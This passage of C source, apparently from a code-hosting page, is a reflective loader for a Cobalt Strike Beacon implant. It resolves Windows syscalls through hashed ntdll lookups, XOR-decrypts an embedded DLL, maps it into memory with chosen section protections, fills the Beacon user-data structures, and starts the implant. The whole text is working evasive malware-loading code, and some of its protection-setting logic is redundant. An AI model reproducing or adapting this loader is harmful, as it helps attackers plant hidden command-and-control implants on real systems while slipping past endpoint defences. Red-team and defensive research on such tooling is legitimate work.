ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF0CA9CA0), &syscalls->ntOpenProcess);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x59651E8C), &syscalls->ntOpenThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDCD44C5F), &syscalls->ntClose);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5BB29BCB), &syscalls->ntCreateSection);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD5159B94), &syscalls->ntMapViewOfSection);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF21037D0), &syscalls->ntUnmapViewOfSection);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4F138492), &syscalls->ntQueryVirtualMemory);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB55C7785), &syscalls->ntDuplicateObject);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3AEFA5AA), &syscalls->ntReadVirtualMemory);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC5108CC2), &syscalls->ntWriteVirtualMemory);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x84FCD516), &syscalls->ntReadFile);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x680E1933), &syscalls->ntWriteFile);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3888F9D), &syscalls->ntCreateFile);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x52E9A746), &syscalls->ntQueueApcThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB9C75AD6), &syscalls->ntCreateProcess);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5992A97F), &syscalls->ntOpenProcessToken);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB163D6A2), &syscalls->ntTestAlert);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x234A15E3), &syscalls->ntSuspendProcess);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x32ADFBCA), &syscalls->ntResumeProcess);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE4E1CAD6), &syscalls->ntQuerySystemInformation);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6EF04C50), &syscalls->ntQueryDirectoryFile);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x814EF02C), &syscalls->ntSetInformationProcess);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE3D6909C), &syscalls->ntSetInformationThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB10FD839), &syscalls->ntQueryInformationProcess);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD83695), &syscalls->ntQueryInformationThread);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x92B5DD95), &syscalls->ntOpenSection);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xECDFDBE5), &syscalls->ntAdjustPrivilegesToken);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8408DD38), &syscalls->ntDeviceIoControlFile);
|
||||
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x2DAAD6F4), &syscalls->ntWaitForMultipleObjects);
|
||||
}
|
||||
|
||||
void ResolveRtlFunctions(RTL_API * rtls)
|
||||
{
|
||||
char * ntdll = findModuleByHash(NTDLL_HASH);
|
||||
|
||||
rtls->rtlDosPathNameToNtPathNameUWithStatusAddr = findFunctionByHash(ntdll, 0x78D569C0);
|
||||
rtls->rtlFreeHeapAddr = findFunctionByHash(ntdll, 0xDA12B8);
|
||||
|
||||
/* rtlGetProcessHeapAddr is set to the ProcessHeap address from the PEB */
|
||||
_PEB * pPEB = (_PEB *)__readgsqword(0x60);
|
||||
rtls->rtlGetProcessHeapAddr = (void *)pPEB->lpProcessHeap;
|
||||
}
|
||||
|
||||
ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr)
|
||||
{
|
||||
if (MSVCRT$strncmp((char *)sectionHdr->Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
return LABEL_TEXT;
|
||||
}
|
||||
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
return LABEL_RDATA;
|
||||
}
|
||||
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".data", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
return LABEL_DATA;
|
||||
}
|
||||
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".pdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
return LABEL_PDATA;
|
||||
}
|
||||
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".reloc", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
return LABEL_RELOC;
|
||||
}
|
||||
else {
|
||||
return LABEL_EMPTY;
|
||||
}
|
||||
}
|
||||
|
||||
void FixSectionPermissions(DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region)
|
||||
{
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtection = 0;
|
||||
DWORD oldProtection = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int i = 0; i < numberOfSections; i++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtection = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtection = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtection = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtection = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtection = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtection = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtection = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection);
|
||||
|
||||
region->Sections[i].Label = GetLabelFromSectionHeader(sectionHdr);
|
||||
region->Sections[i].BaseAddress = sectionDst;
|
||||
region->Sections[i].VirtualSize = sectionSize;
|
||||
region->Sections[i].CurrentProtect = newProtection;
|
||||
region->Sections[i].PreviousProtect = newProtection;
|
||||
region->Sections[i].MaskSection = TRUE;
|
||||
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go()
|
||||
{
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* get the masked dll and key */
|
||||
RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
|
||||
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);
|
||||
|
||||
/* unmask and load into memory */
|
||||
char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
for (int i = 0; i < dll->length; i++) {
|
||||
src[i] = dll->value[i] ^ key->value[i % key->length];
|
||||
}
|
||||
|
||||
/* parse beacon headers */
|
||||
DLLDATA data;
|
||||
ParseDLL(src, &data);
|
||||
|
||||
/* load it into new memory */
|
||||
char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
LoadDLL(&data, src, dst);
|
||||
ProcessImports(&funcs, &data, dst);
|
||||
|
||||
/* initialise bud */
|
||||
USER_DATA bud;
|
||||
SYSCALL_API syscalls;
|
||||
RTL_API rtlFunctions;
|
||||
ALLOCATED_MEMORY memory;
|
||||
|
||||
memset(&bud, 0, sizeof(USER_DATA));
|
||||
memset(&syscalls, 0, sizeof(SYSCALL_API));
|
||||
memset(&rtlFunctions, 0, sizeof(RTL_API));
|
||||
memset(&memory, 0, sizeof(ALLOCATED_MEMORY));
|
||||
|
||||
bud.version = COBALT_STRIKE_VERSION;
|
||||
bud.syscalls = &syscalls;
|
||||
bud.rtls = &rtlFunctions;
|
||||
bud.allocatedMemory = &memory;
|
||||
|
||||
/* fix section memory permissions */
|
||||
FixSectionPermissions(&data, dst, &bud.allocatedMemory->AllocatedMemoryRegions[0]);
|
||||
|
||||
/* define cleanup information for VirtualAlloc */
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup;
|
||||
memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION));
|
||||
|
||||
vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC;
|
||||
vaCleanup.Cleanup = TRUE;
|
||||
|
||||
/* set the region info for beacon */
|
||||
bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;
|
||||
bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = dst;
|
||||
bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = data.NtHeaders->OptionalHeader.SizeOfImage;
|
||||
bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE;
|
||||
bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup;
|
||||
|
||||
/* resolve syscall info */
|
||||
ResolveSyscalls(&syscalls);
|
||||
ResolveRtlFunctions(&rtlFunctions);
|
||||
|
||||
/* get the entry point */
|
||||
DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree(src, 0, MEM_RELEASE);
|
||||
|
||||
/* call entry point */
|
||||
entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud);
|
||||
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
||||
entryPoint((HINSTANCE)GETRESOURCE(go), DLL_BEACON_START, NULL);
|
||||
}
|
||||
Reference in New Issue
Block a user